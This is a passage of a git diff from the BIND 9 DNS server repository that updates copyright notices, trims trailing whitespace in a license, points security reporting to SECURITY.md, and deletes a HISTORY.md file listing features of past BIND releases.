-using the [ISC Security Officer public key](https://www.isc.org/pgpkey/).
-
-Do not discuss undisclosed security vulnerabilities on any public mailing list.
-ISC has a long history of handling reported vulnerabilities promptly and
-effectively and we respect and acknowledge responsible reporters.
-
-ISC's Security Vulnerability Disclosure Policy is documented at
-[https://kb.isc.org/docs/aa-00861](https://kb.isc.org/docs/aa-00861).
-
-If you have a crash, you may want to consult
-["What to do if your BIND or DHCP server has crashed."](https://kb.isc.org/docs/aa-00340)
+See `SECURITY.md`.
 
 ### <a name="contrib"></a>Contributing code
 
diff --git a/COPYRIGHT b/COPYRIGHT
index ecb9bc38ea..12f791767c 100644
--- a/COPYRIGHT
+++ b/COPYRIGHT
@@ -1,4 +1,4 @@
-Copyright (C) 1996-2021  Internet Systems Consortium, Inc. ("ISC")
+Copyright (C) 1996-2023  Internet Systems Consortium, Inc. ("ISC")
 
 This Source Code Form is subject to the terms of the Mozilla Public
 License, v. 2.0. If a copy of the MPL was not distributed with this
@@ -133,7 +133,7 @@ modification, are permitted provided that the following conditions are met:
 3. Neither the name of the University nor the names of its contributors may
    be used to endorse or promote products derived from this software
    without specific prior written permission.
- 
+
 THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
 AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
@@ -149,35 +149,35 @@ POSSIBILITY OF SUCH DAMAGE.
  -----------------------------------------------------------------------------
 
 Copyright (c) 1997 - 2003 Kungliga Tekniska Högskolan
-(Royal Institute of Technology, Stockholm, Sweden). 
-All rights reserved. 
-
-Redistribution and use in source and binary forms, with or without 
-modification, are permitted provided that the following conditions 
-are met: 
-
-1. Redistributions of source code must retain the above copyright 
-   notice, this list of conditions and the following disclaimer. 
-
-2. Redistributions in binary form must reproduce the above copyright 
-   notice, this list of conditions and the following disclaimer in the 
-   documentation and/or other materials provided with the distribution. 
-
-3. Neither the name of the Institute nor the names of its contributors 
-   may be used to endorse or promote products derived from this software 
-   without specific prior written permission. 
-
-THIS SOFTWARE IS PROVIDED BY THE INSTITUTE AND CONTRIBUTORS ``AS IS'' AND 
-ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 
-IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 
-ARE DISCLAIMED.  IN NO EVENT SHALL THE INSTITUTE OR CONTRIBUTORS BE LIABLE 
-FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 
-DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 
-OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 
-HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 
-LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 
-OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 
-SUCH DAMAGE. 
+(Royal Institute of Technology, Stockholm, Sweden).
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions
+are met:
+
+1. Redistributions of source code must retain the above copyright
+   notice, this list of conditions and the following disclaimer.
+
+2. Redistributions in binary form must reproduce the above copyright
+   notice, this list of conditions and the following disclaimer in the
+   documentation and/or other materials provided with the distribution.
+
+3. Neither the name of the Institute nor the names of its contributors
+   may be used to endorse or promote products derived from this software
+   without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE INSTITUTE AND CONTRIBUTORS ``AS IS'' AND
+ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ARE DISCLAIMED.  IN NO EVENT SHALL THE INSTITUTE OR CONTRIBUTORS BE LIABLE
+FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+SUCH DAMAGE.
 
  -----------------------------------------------------------------------------
 
diff --git a/HISTORY.md b/HISTORY.md
deleted file mode 100644
index 50ad4c63ed..0000000000
--- a/HISTORY.md
+++ /dev/null
@@ -1,632 +0,0 @@
-<!--
- - Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- -
- - This Source Code Form is subject to the terms of the Mozilla Public
- - License, v. 2.0. If a copy of the MPL was not distributed with this
- - file, You can obtain one at http://mozilla.org/MPL/2.0/.
- -
- - See the COPYRIGHT file distributed with this work for additional
- - information regarding copyright ownership.
--->
-### Functional enhancements from prior major releases of BIND 9
-
-#### BIND 9.16
-
-BIND 9.16 (a stable branch based on the 9.15 development branch)
-includes a number of changes from BIND 9.14 and earlier releases.
-New features include:
-
-* New `dnssec-policy` statement to configure a key and signing policy
-  for zones, enabling automatic key regeneration and rollover.
-* New network manager based on `libuv`.
-* Added support for the new GeoIP2 geolocation API, `libmaxminddb`.
-* Improved DNSSEC trust anchor configuration using the `trust-anchors`
-  statement, permitting configuration of trust anchors in DS as well as
-  DNSKEY format.
-* YAML output for `dig`, `mdig`, and `delv`.
-
-#### BIND 9.14
-
-BIND 9.14 (a stable branch based on the 9.13 development branch)
-includes a number of changes from BIND 9.12 and earlier releases.
-New features include:
-
-* A new "plugin" mechanism has been added to allow query functionality
-  to be extended using dynamically loadable libraries. The "filter-aaaa"
-  feature has been removed from named and is now implemented as a plugin.
-* Socket and task code has been refactored to improve performance.
-* QNAME minimization, as described in RFC 7816, is now supported.
-* "Root key sentinel" support, enabling validating resolvers to indicate
-  via a special query which trust anchors are configured for the root zone.
-* Secondary zones can now be configured as "mirror" zones; their contents
-  are transferred in as with traditional slave zones, but are subject to
-  DNSSEC validation and are not treated as authoritative data when
-  answering. This makes it easier to configure a local copy of the root
-  zone as described in RFC 7706.
-* The "validate-except" option allows configuration of domains below which
-  DNSSEC validation should not be performed.
-* The default value of "dnssec-validation" is now "auto".
-* IDNA2008 is now supported when linking with `libidn2`.
-* "named -V" now outputs the default paths for files used by named
-  and other tools.
-
-In addition, workarounds that were formerly in place to enable resolution
-of domains whose authoritative servers did not respond to EDNS queries
-have been removed. See [https://dnsflagday.net](https://dnsflagday.net)
-for more details.
-
-Cryptographic support has been modernized. BIND now uses the
-best available pseudo-random number generator for the platform on which
-it's built. Very old versions of OpenSSL are no longer supported.
-Cryptography is now mandatory: building BIND without DNSSEC is no
-longer supported.
-
-Special code to support certain legacy operating systems has also
-been removed; see the file [PLATFORMS.md](PLATFORMS.md) for details
-of supported platforms. In addition to OpenSSL, BIND now requires
-support for IPv6, threads, and standard atomic operations provided
-by the C compiler.
-
-#### BIND 9.12
-
-BIND 9.12 includes a number of changes from BIND 9.11 and earlier releases.
-New features include:
-
-* `named` and related libraries have been substantially refactored for
-  improved query performance -- particularly on delegation heavy zones --
-  and for improved readability, maintainability, and testability.
-* Code implementing the name server query processing logic has been moved
-  into a new `libns` library, for easier testing and use in tools other
-  than `named`.
-* Cached, validated NSEC and other records can now be used to synthesize
-  NXDOMAIN responses.
-* The DNS Response Policy Service API (DNSRPS) is now supported.
-* Setting `'max-journal-size default'` now limits the size of journal files
-  to twice the size of the zone.
-* `dnstap-read -x` prints a hex dump of the wire format of each logged
-  DNS message.
-* `dnstap` output files can now be configured to roll automatically when
-  reaching a given size.
-* Log file timestamps can now also be formatted in ISO 8601 (local) or ISO
-  8601 (UTC) formats.
-* Logging channels and `dnstap` output files can now be configured to use a
-  timestamp as the suffix when rolling to a new file.
-* `'named-checkconf -l'` lists zones found in `named.conf`.
-* Added support for the EDNS Padding and Keepalive options.
-* 'new-zones-directory' option sets the location where the configuration
-  data for zones added by rndc addzone is stored.
-* The default key algorithm in `rndc-confgen` is now hmac-sha256.
-* `filter-aaaa-on-v4` and `filter-aaaa-on-v6` options are now available
-  by default without a configure option.
-* The obsolete `isc-hmac-fixup` command has been removed.
-
-#### BIND 9.11
-
-BIND 9.11.0 includes a number of changes from BIND 9.10 and earlier
-releases.  New features include:
-
-- Added support for Catalog Zones, a new method for provisioning servers: a
-  list of zones to be served is stored in a DNS zone, along with their
-  configuration parameters. Changes to the catalog zone are propagated to
-  slaves via normal AXFR/IXFR, whereupon the zones that are listed in it
-  are automatically added, deleted or reconfigured.
-- Added support for "dnstap", a fast and flexible method of capturing and
-  logging DNS traffic.
-- Added support for "dyndb", a new API for loading zone data from an
-  external database, developed by Red Hat for the FreeIPA project.
-- "fetchlimit" quotas are now compiled in by default.  These are for the
-  use of recursive resolvers that are are under high query load for domains
-  whose authoritative servers are nonresponsive or are experiencing a
-  denial of service attack:
-    - "fetches-per-server" limits the number of simultaneous queries that
-      can be sent to any single authoritative server.  The configured value
-      is a starting point; it is automatically adjusted downward if the
-      server is partially or completely non-responsive. The algorithm used
-      to adjust the quota can be configured via the "fetch-quota-params"
-      option.
-    - "fetches-per-zone" limits the number of simultaneous queries that can
-      be sent for names within a single domain.  (Note: Unlike
-      "fetches-per-server", this value is not self-tuning.)
-    - New stats counters have been added to count queries spilled due to
-      these quotas.
-- Added a new "dnssec-keymgr" key mainenance utility, which can generate or
-  update keys as needed to ensure that a zone's keys match a defined DNSSEC
-  policy.
-- The experimental "SIT" feature in BIND 9.10 has been renamed "COOKIE" and
-  is no longer optional. EDNS COOKIE is a mechanism enabling clients to
-  detect off-path spoofed responses, and servers to detect spoofed-source
-  queries.  Clients that identify themselves using COOKIE options are not
-  subject to response rate limiting (RRL) and can receive larger UDP
-  responses.
-- SERVFAIL responses can now be cached for a limited time (defaulting to 1
-  second, with an upper limit of 30).  This can reduce the frequency of
-  retries when a query is persistently failing.
-- Added an "nsip-wait-recurse" switch to RPZ. This causes NSIP rules to be
-  skipped if a name server IP address isn't in the cache yet; the address
-  will be looked up and the rule will be applied on future queries.
-- Added a Python RNDC module. This allows multiple commands to sent over a
-  persistent RNDC channel, which saves time.
-- The "controls" block in named.conf can now grant read-only "rndc" access
-  to specified clients or keys. Read-only clients could, for example, check
-  "rndc status" but could not reconfigure or shut down the server.
-- "rndc" commands can now return arbitrarily large amounts of text to the
-  caller.
-- The zone serial number of a dynamically updatable zone can now be set via
-  "rndc signing -serial <number> <zonename>".  This allows inline-signing
-  zones to be set to a specific serial number.
-- The new "rndc nta" command can be used to set a Negative Trust Anchor
-  (NTA), disabling DNSSEC validation for a specific domain; this can be
-  used when responses from a domain are known to be failing validation due
-  to administrative error rather than because of a spoofing attack.
-  Negative trust anchors are strictly temporary; by default they expire
-  after one hour, but can be configured to last up to one week.
-- "rndc delzone" can now be used on zones that were not originally created
-  by "rndc addzone".
-- "rndc modzone" reconfigures a single zone, without requiring the entire
-  server to be reconfigured.
-- "rndc showzone" displays the current configuration of a zone.
-- "rndc managed-keys" can be used to check the status of RFC 5011 managed
-  trust anchors, or to force trust anchors to be refreshed.
-- "max-cache-size" can now be set to a percentage of available memory. The
-  default is 90%.
-- Update forwarding performance has been improved by allowing a single TCP
-  connection to be shared by multiple updates.
-- The EDNS Client Subnet (ECS) option is now supported for authoritative
-  servers; if a query contains an ECS option then ACLs containing "geoip"
-  or "ecs" elements can match against the the address encoded in the
-  option.  This can be used to select a view for a query, so that different
-  answers can be provided depending on the client network.
-- The EDNS EXPIRE option has been implemented on the client side, allowing
-  a slave server to set the expiration timer correctly when transferring
-  zone data from another slave server.
-- The key generation and manipulation tools (dnssec-keygen, dnssec-settime,
-  dnssec-importkey, dnssec-keyfromlabel) now take "-Psync" and "-Dsync"
-  options to set the publication and deletion times of CDS and CDNSKEY
-  parent-synchronization records.  Both named and dnssec-signzone can now
-  publish and remove these records at the scheduled times.
-- A new "minimal-any" option reduces the size of UDP responses for query
-  type ANY by returning a single arbitrarily selected RRset instead of all
-  RRsets.
-- A new "masterfile-style" zone option controls the formatting of text zone
-  files:  When set to "full", a zone file is dumped in
-  single-line-per-record format.
-- "serial-update-method" can now be set to "date". On update, the serial
-  number will be set to the current date in YYYYMMDDNN format.
-- "dnssec-signzone -N date" sets the serial number to YYYYMMDDNN.
-- "named -L <filename>" causes named to send log messages to the specified
-  file by default instead of to the system log.
-- "dig +ttlunits" prints TTL values with time-unit suffixes: w, d, h, m, s
-  for weeks, days, hours, minutes, and seconds.
-- "dig +unknownformat" prints dig output in RFC 3597 "unknown record"
-  presentation format.
-- "dig +ednsopt" allows dig to set arbitrary EDNS options on requests.
-- "dig +ednsflags" allows dig to set yet-to-be-defined EDNS flags on
-  requests.
-- "mdig" is an alternate version of dig which sends multiple pipelined TCP
-  queries to a server.  Instead of waiting for a response after sending a
-  query, it sends all queries immediately and displays responses in the
-  order received.
-- "serial-query-rate" no longer controls NOTIFY messages.  These are
-  separately controlled by "notify-rate" and "startup-notify-rate".
-- "nsupdate" now performs "check-names" processing by default on records to
-  be added.  This can be disabled with "check-names no".
-- The statistics channel now supports DEFLATE compression, reducing the
-  size of the data sent over the network when querying statistics.
-- New counters have been added to the statistics channel to track the sizes
-  of incoming queries and outgoing responses in histogram buckets, as
-  specified in RSSAC002.
-- A new NXDOMAIN redirect method (option "nxdomain-redirect") has been
-  added, allowing redirection to a specified DNS namespace instead of a
-  single redirect zone.
-- When starting up, named now ensures that no other named process is
-  already running.
-- Files created by named to store information, including "mkeys" and "nzf"
-  files, are now named after their corresponding views unless the view name
-  contains characters incompatible with use as a filename. Old style
-  filenames (based on the hash of the view name) will still work.
-
-#### BIND 9.10.0
-
-BIND 9.10.0 includes a number of changes from BIND 9.9 and earlier
-releases.  New features include:
-
- - DNS Response-rate limiting (DNS RRL), which blunts the
-   impact of reflection and amplification attacks, is always
-   compiled in and no longer requires a compile-time option
-   to enable it.
- - An experimental "Source Identity Token" (SIT) EDNS option
-   is now available.  Similar to DNS Cookies as invented by
-   Donald Eastlake 3rd, these are designed to enable clients
-   to detect off-path spoofed responses, and to enable servers
-   to detect spoofed-source queries.  Servers can be configured
-   to send smaller responses to clients that have not identified
-   themselves using a SIT option, reducing the effectiveness of
-   amplification attacks.  RRL processing has also been updated;
-   clients proven to be legitimate via SIT are not subject to
-   rate limiting.  Use "configure --enable-sit" to enable this
-   feature in BIND.
- - A new zone file format, "map", stores zone data in a
-   format that can be mapped directly into memory, allowing
-   significantly faster zone loading.
- - "delv" (domain entity lookup and validation) is a new tool
-   with dig-like semantics for looking up DNS data and performing
-   internal DNSSEC validation.  This allows easy validation in
-   environments where the resolver may not be trustworthy, and
-   assists with troubleshooting of DNSSEC problems. (NOTE:
-   In previous development releases of BIND 9.10, this utility
-   was called "delve". The spelling has been changed to avoid
-   confusion with the "delve" utility included with the Xapian
-   search engine.)
- - Improved EDNS(0) processing for better resolver performance
-   and reliability over slow or lossy connections.
- - A new "configure --with-tuning=large" option tunes certain
-   compiled-in constants and default settings to values better
-   suited to large servers with abundant memory.  This can
-   improve performance on such servers, but will consume more
-   memory and may degrade performance on smaller systems.
- - Substantial improvement in response-policy zone (RPZ)
-   performance.  Up to 32 response-policy zones can be
-   configured with minimal performance loss.
- - To improve recursive resolver performance, cache records
-   which are still being requested by clients can now be
-   automatically refreshed from the authoritative server
-   before they expire, reducing or eliminating the time
-   window in which no answer is available in the cache.
- - New "rpz-client-ip" triggers and drop policies allowing
-   response policies based on the IP address of the client.
- - ACLs can now be specified based on geographic location
-   using the MaxMind GeoIP databases.  Use "configure
-   --with-geoip" to enable.
- - Zone data can now be shared between views, allowing
-   multiple views to serve the same zones authoritatively
-   without storing multiple copies in memory.
- - New XML schema (version 3) for the statistics channel
-   includes many new statistics and uses a flattened XML tree
-   for faster parsing. The older schema is now deprecated.
- - A new stylesheet, based on the Google Charts API, displays
-   XML statistics in charts and graphs on javascript-enabled
-   browsers.
- - The statistics channel can now provide data in JSON
-   format as well as XML.
- - New stats counters track TCP and UDP queries received
-   per zone, and EDNS options received in total.
- - The internal and export versions of the BIND libraries
-   (libisc, libdns, etc) have been unified so that external
-   library clients can use the same libraries as BIND itself.
- - A new compile-time option, "configure --enable-native-pkcs11",
-   allows BIND 9 cryptography functions to use the PKCS#11 API
-   natively, so that BIND can drive a cryptographic hardware
-   service module (HSM) directly instead of using a modified
-   OpenSSL as an intermediary. (Note: This feature requires an
-   HSM to have a full implementation of the PKCS#11 API; many
-   current HSMs only have partial implementations. The new
-   "pkcs11-tokens" command can be used to check API completeness.
-   Native PKCS#11 is known to work with the Thales nShield HSM
-   and with SoftHSM version 2 from the Open DNSSEC project.)
- - The new "max-zone-ttl" option enforces maximum TTLs for
-   zones. This can simplify the process of rolling DNSSEC keys
-   by guaranteeing that cached signatures will have expired
-   within the specified amount of time.
- - "dig +subnet" sends an EDNS CLIENT-SUBNET option when
-   querying.
- - "dig +expire" sends an EDNS EXPIRE option when querying.
-   When this option is sent with an SOA query to a server
-   that supports it, it will report the expiry time of
-   a slave zone.
- - New "dnssec-coverage" tool to check DNSSEC key coverage
-   for a zone and report if a lapse in signing coverage has
-   been inadvertently scheduled.
- - Signing algorithm flexibility and other improvements
-   for the "rndc" control channel.
- - "named-checkzone" and "named-compilezone" can now read
-   journal files, allowing them to process dynamic zones.
- - Multiple DLZ databases can now be configured.  Individual
-   zones can be configured to be served from a specific DLZ
-   database.  DLZ databases now serve zones of type "master"
-   and "redirect".
- - "rndc zonestatus" reports information about a specified zone.
- - "named" now listens on IPv6 as well as IPv4 interfaces
-   by default.
- - "named" now preserves the capitalization of names
-   when responding to queries: for instance, a query for
-   "example.com" may be answered with "example.COM" if the
-   name was configured that way in the zone file.  Some
-   clients have a bug causing them to depend on the older
-   behavior, in which the case of the answer always matched
-   the case of the query, rather than the case of the name
-   configured in the DNS.  Such clients can now be specified
-   in the new "no-case-compress" ACL; this will restore the
-   older behavior of "named" for those clients only.
- - new "dnssec-importkey" command allows the use of offline
-   DNSSEC keys with automatic DNSKEY management.
- - New "named-rrchecker" tool to verify the syntactic
-   correctness of individual resource records.
- - When re-signing a zone, the new "dnssec-signzone -Q" option
-   drops signatures from keys that are still published but are
-   no longer active.
- - "named-checkconf -px" will print the contents of configuration
-   files with the shared secrets obscured, making it easier to
-   share configuration (e.g. when submitting a bug report)
-   without revealing private information.
- - "rndc scan" causes named to re-scan network interfaces for
-   changes in local addresses.
- - On operating systems with support for routing sockets,
-   network interfaces are re-scanned automatically whenever
-   they change.
- - "tsig-keygen" is now available as an alternate command
-   name to use for "ddns-confgen".
-
-#### BIND 9.9.0
-
-BIND 9.9.0 includes a number of changes from BIND 9.8 and earlier
-releases.  New features include:
-
-- Inline signing, allowing automatic DNSSEC signing of
-  master zones without modification of the zonefile, or
-  "bump in the wire" signing in slaves.
-- NXDOMAIN redirection.
-- New 'rndc flushtree' command clears all data under a given
-  name from the DNS cache.
-- New 'rndc sync' command dumps pending changes in a dynamic
-  zone to disk without a freeze/thaw cycle.
-- New 'rndc signing' command displays or clears signing status
-  records in 'auto-dnssec' zones.
-- NSEC3 parameters for 'auto-dnssec' zones can now be set prior
-  to signing, eliminating the need to initially sign with NSEC.
-- Startup time improvements on large authoritative servers.
-- Slave zones are now saved in raw format by default.
-- Several improvements to response policy zones (RPZ).
-- Improved hardware scalability by using multiple threads
-  to listen for queries and using finer-grained client locking
-- The 'also-notify' option now takes the same syntax as
-  'masters', so it can used named masterlists and TSIG keys.
-- 'dnssec-signzone -D' writes an output file containing only DNSSEC
-  data, which can be included by the primary zone file.
-- 'dnssec-signzone -R' forces removal of signatures that are
-  not expired but were created by a key which no longer exists.
-- 'dnssec-signzone -X' allows a separate expiration date to
-  be specified for DNSKEY signatures from other signatures.
-- New '-L' option to dnssec-keygen, dnssec-settime, and
-  dnssec-keyfromlabel sets the default TTL for the key.
-- dnssec-dsfromkey now supports reading from standard input,
-  to make it easier to convert DNSKEY to DS.
-- RFC 1918 reverse zones have been added to the empty-zones
-  table per RFC 6303.
-- Dynamic updates can now optionally set the zone's SOA serial
-  number to the current UNIX time.
-- DLZ modules can now retrieve the source IP address of
-  the querying client.
-- 'request-ixfr' option can now be set at the per-zone level.
-- 'dig +rrcomments' turns on comments about DNSKEY records,
-  indicating their key ID, algorithm and function
-- Simplified nsupdate syntax and added readline support
-
-#### BIND 9.8.0
-
-BIND 9.8.0 includes a number of changes from BIND 9.7 and earlier
-releases.  New features include:
-
-- Built-in trust anchor for the root zone, which can be
-  switched on via "dnssec-validation auto;"
-- Support for DNS64.
-- Support for response policy zones (RPZ).
-- Support for writable DLZ zones.
-- Improved ease of configuration of GSS/TSIG for
-  interoperability with Active Directory
-- Support for GOST signing algorithm for DNSSEC.
-- Removed RTT Banding from server selection algorithm.
-- New "static-stub" zone type.
-- Allow configuration of resolver timeouts via
-  "resolver-query-timeout" option.
-- The DLZ "dlopen" driver is now built by default.
-- Added a new include file with function typedefs
-  for the DLZ "dlopen" driver.
-- Made "--with-gssapi" default.
-- More verbose error reporting from DLZ LDAP.
-
-#### BIND 9.7.0
-
-BIND 9.7.0 includes a number of changes from BIND 9.6 and earlier
-releases.  Most are intended to simplify DNSSEC configuration.
-New features include:
-
-- Fully automatic signing of zones by "named".
-- Simplified configuration of DNSSEC Lookaside Validation (DLV).
-- Simplified configuration of Dynamic DNS, using the "ddns-confgen"
-  command line tool or the "local" update-policy option.  (As a side
-  effect, this also makes it easier to configure automatic zone
-  re-signing.)
-- New named option "attach-cache" that allows multiple views to
-  share a single cache.
-- DNS rebinding attack prevention.
-- New default values for dnssec-keygen parameters.
-- Support for RFC 5011 automated trust anchor maintenance
-- Smart signing: simplified tools for zone signing and key
-  maintenance.
-- The "statistics-channels" option is now available on Windows.
-- A new DNSSEC-aware libdns API for use by non-BIND9 applications
-- On some platforms, named and other binaries can now print out
-  a stack backtrace on assertion failure, to aid in debugging.
-- A "tools only" installation mode on Windows, which only installs
-  dig, host, nslookup and nsupdate.
-- Improved PKCS#11 support, including Keyper support and explicit
-  OpenSSL engine selection.
-
-#### BIND 9.6.0
-
-- Full NSEC3 support
-- Automatic zone re-signing
-- New update-policy methods tcp-self and 6to4-self
-- The BIND 8 resolver library, libbind, has been removed from the BIND 9
-  distribution and is now available as a separate download.
-- Change the default pid file location from /var/run to
-  /var/run/{named,lwresd} for improved chroot/setuid support.
-
-#### BIND 9.5.0
-
-- GSS-TSIG support (RFC 3645).
-- DHCID support.
-- Experimental http server and statistics support for named via xml.
-- More detailed statistics counters including those supported in BIND 8.
-- Faster ACL processing.
-- Use Doxygen to generate internal documentation.
-- Efficient LRU cache-cleaning mechanism.
-- NSID support.
-
-BIND 9.4.0
-
-- Implemented "additional section caching (or acache)", an internal cache
-  framework for additional section content to improve response performance.
-  Several configuration options were provided to control the behavior.
-- New notify type 'master-only'.  Enable notify for master zones only.
-- Accept 'notify-source' style syntax for query-source.
-- rndc now allows addresses to be set in the server clauses.
-- New option "allow-query-cache".  This lets "allow-query" be used to
-  specify the default zone access level rather than having to have every
-  zone override the global value.  "allow-query-cache" can be set at both
-  the options and view levels.  If "allow-query-cache" is not set then
-  "allow-recursion" is used if set, otherwise "allow-query" is used if set
-  unless "recursion no;" is set in which case "none;" is used, otherwise
-  the default (localhost; localnets;) is used.
-- rndc: the source address can now be specified.
-- ixfr-from-differences now takes master and slave in addition to yes and
-  no at the options and view levels.
-- Allow the journal's name to be changed via named.conf.
-- 'rndc notify zone [class [view]]' resend the NOTIFY messages for the
-  specified zone.
-- 'dig +trace' now randomly selects the next servers to try.  Report if
-  there is a bad delegation.
-- Improve check-names error messages.
-- Make public the function to read a key file, dst_key_read_public().
-- dig now returns the byte count for axfr/ixfr.
-- allow-update is now settable at the options / view level.
-- named-checkconf now checks the logging configuration.
-- host now can turn on memory debugging flags with '-m'.
-- Don't send notify messages to self.
-- Perform sanity checks on NS records which refer to 'in zone' names.
-- New zone option "notify-delay".  Specify a minimum delay between sets of
-  NOTIFY messages.
-- Extend adjusting TTL warning messages.
-- Named and named-checkzone can now both check for non-terminal wildcard
-  records.
-- "rndc freeze/thaw" now freezes/thaws all zones.
-- named-checkconf now check acls to verify that they only refer to existing
-  acls.
-- The server syntax has been extended to support a range of servers.
-- Report differences between hints and real NS rrset and associated address
-  records.
-- Preserve the case of domain names in rdata during zone transfers.
-- Restructured the data locking framework using architecture dependent
-  atomic operations (when available), improving response performance on
-  multi-processor machines significantly.  x86, x86_64, alpha, powerpc, and
-  mips are currently supported.
-- UNIX domain controls are now supported.
-- Add support for additional zone file formats for improving loading
-  performance.  The masterfile-format option in named.conf can be used to
-  specify a non-default format.  A separate command named-compilezone was
-  provided to generate zone files in the new format.  Additionally, the -I
-  and -O options for dnssec-signzone specify the input and output formats.
-- dnssec-signzone can now randomize signature end times (dnssec-signzone -j
-  jitter).
-- Add support for CH A record.
-- Add additional zone data constancy checks.  named-checkzone has extended
-  checking of NS, MX and SRV record and the hosts they reference.  named
-  has extended post zone load checks.  New zone options: check-mx and
-  integrity-check.
-- edns-udp-size can now be overridden on a per server basis.
-- dig can now specify the EDNS version when making a query.
-- Added framework for handling multiple EDNS versions.
-- Additional memory debugging support to track size and mctx arguments.
-- Detect duplicates of UDP queries we are recursing on and drop them.  New
-  stats category "duplicates".
-- "USE INTERNAL MALLOC" is now runtime selectable.
-- The lame cache is now done on a <qname,qclass,qtype> basis as some
-  servers only appear to be lame for certain query types.
-- Limit the number of recursive clients that can be waiting for a single
-  query (<qname,qtype,qclass>) to resolve.  New options clients-per-query
-  and max-clients-per-query.
-- dig: report the number of extra bytes still left in the packet after
-  processing all the records.
-- Support for IPSECKEY rdata type.
-- Raise the UDP receive buffer size to 32k if it is less than 32k.
-- x86 and x86_64 now have separate atomic locking implementations.
-- named-checkconf now validates update-policy entries.
-- Attempt to make the amount of work performed in a iteration self tuning.
-  The covers nodes clean from the cache per iteration, nodes written to
-  disk when rewriting a master file and nodes destroyed per iteration when
-  destroying a zone or a cache.
-- ISC string copy API.
-- Automatic empty zone creation for D.F.IP6.ARPA and friends.  Note: RFC
-  1918 zones are not yet covered by this but are likely to be in a future
-  release.
-- New options: empty-server, empty-contact, empty-zones-enable and
-  disable-empty-zone.
-- dig now has a '-q queryname' and '+showsearch' options.
-- host/nslookup now continue (default)/fail on SERVFAIL.
-- dig now warns if 'RA' is not set in the answer when 'RD' was set in the
-  query.  host/nslookup skip servers that fail to set 'RA' when 'RD' is set
-  unless a server is explicitly set.
-- Integrate contributed DLZ code into named.
-- Integrate contributed IDN code from JPNIC.
-- libbind: corresponds to that from BIND 8.4.7.
-
-#### BIND 9.3.0
-
-- DNSSEC is now DS based (RFC 3658).
-- DNSSEC lookaside validation.
-- check-names is now implemented.
-- rrset-order is more complete.
-- IPv4/IPv6 transition support, dual-stack-servers.
-- IXFR deltas can now be generated when loading master files,
-  ixfr-from-differences.
-- It is now possible to specify the size of a journal, max-journal-size.
-- It is now possible to define a named set of master servers to be used in
-  masters clause, masters.
-- The advertised EDNS UDP size can now be set, edns-udp-size.
-- allow-v6-synthesis has been obsoleted.
-- Zones containing MD and MF will now be rejected.
-- dig, nslookup name. now report "Not Implemented" as NOTIMP rather than
-  NOTIMPL.  This will have impact on scripts that are looking for NOTIMPL.
-- libbind: corresponds to that from BIND 8.4.5.
-
-#### BIND 9.2.0
-
-- The size of the cache can now be limited using the "max-cache-size"
-  option.
-- The server can now automatically convert RFC1886-style recursive lookup
-  requests into RFC2874-style lookups, when enabled using the new option
-  "allow-v6-synthesis".  This allows stub resolvers that support AAAA
-  records but not A6 record chains or binary labels to perform lookups in
-  domains that make use of these IPv6 DNS features.
-- Performance has been improved.
-- The man pages now use the more portable "man" macros rather than the
-  "mandoc" macros, and are installed by "make install".
-- The named.conf parser has been completely rewritten.  It now supports
-  "include" directives in more places such as inside "view" statements, and
-  it no longer has any reserved words.
-- The "rndc status" command is now implemented.
-- rndc can now be configured automatically.
-- A BIND 8 compatible stub resolver library is now included in lib/bind.
-- OpenSSL has been removed from the distribution.  This means that to use
-  DNSSEC, OpenSSL must be installed and the --with-openssl option must be
-  supplied to configure.  This does not apply to the use of TSIG, which
-  does not require OpenSSL.
-- The source distribution now builds on Windows.  See
-  win32utils/readme1.txt and win32utils/win32-build.txt for details.
-- This distribution also includes a new lightweight stub resolver library
-  and associated resolver daemon that fully support forward and reverse
-  lookups of both IPv4 and IPv6 addresses.  This library is considered
-  experimental and is not a complete replacement for the BIND 8 resolver
-  library.  Applications that use the BIND 8 `res_*` functions to perform
-  DNS lookups or dynamic updates still need to be linked against the BIND 8
-  libraries.  For DNS lookups, they can also use the new "getrrsetbyname()"
-  API.
-- BIND 9.2 is capable of acting as an authoritative server for DNSSEC
-  secured zones.  This functionality is believed to be stable and complete
-  except for lacking support for verifications involving wildcard records
-  in secure zones.
-- When acting as a caching server, BIND 9.2 can be configured to perform
-  DNSSEC secure resolution on behalf of its clients.  This part of the
-  DNSSEC implementation is still considered experimental.  For detailed
-  information about the state of the DNSSEC implementation, see the file
-  doc/misc/dnssec.
diff --git a/LICENSE b/LICENSE
index be2cc4dfb6..7bad356140 100644
--- a/LICENSE
+++ b/LICENSE
@@ -346,7 +346,7 @@ Exhibit A - Source Code Form License Notice
